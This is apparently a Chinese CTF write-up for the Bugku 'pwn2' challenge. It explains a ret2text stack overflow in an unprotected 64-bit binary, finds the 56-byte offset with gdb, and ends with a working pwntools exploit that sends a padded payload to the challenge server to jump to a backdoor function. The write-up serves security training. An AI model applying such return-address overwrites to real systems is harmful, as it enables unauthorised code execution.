bugku_pwn2 | by AriSan

本文详细解析了64位程序中ret2text漏洞的利用过程,通过查看源码发现明显的栈溢出,并利用后门函数进行攻击。在检查sec后,发现程序无任何保护措施,适合进行ret2text攻击。通过gdb调试确定栈空间大小,使用垃圾数据填充并覆盖返回地址指向后门函数,最终成功执行后门函数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
看源码,非常明显的栈溢出
在这里插入图片描述

直接有后门函数
在这里插入图片描述
checksec后没有任何保护
是典型的ret2text

在这里插入图片描述

使用 gdb调试,在 read 函数处下断点,运行,因为是64位的程序,得到栈空间为 RBP-RSI+8=0x70-0x40+8=56

使用垃圾数据填满栈空间后,覆盖返回地址为后门函数地址,直接执行后门函数

在这里插入图片描述
成功
exp:

from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*56+p64(0x0000000000400751)
p.recvline()
p.sendline(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值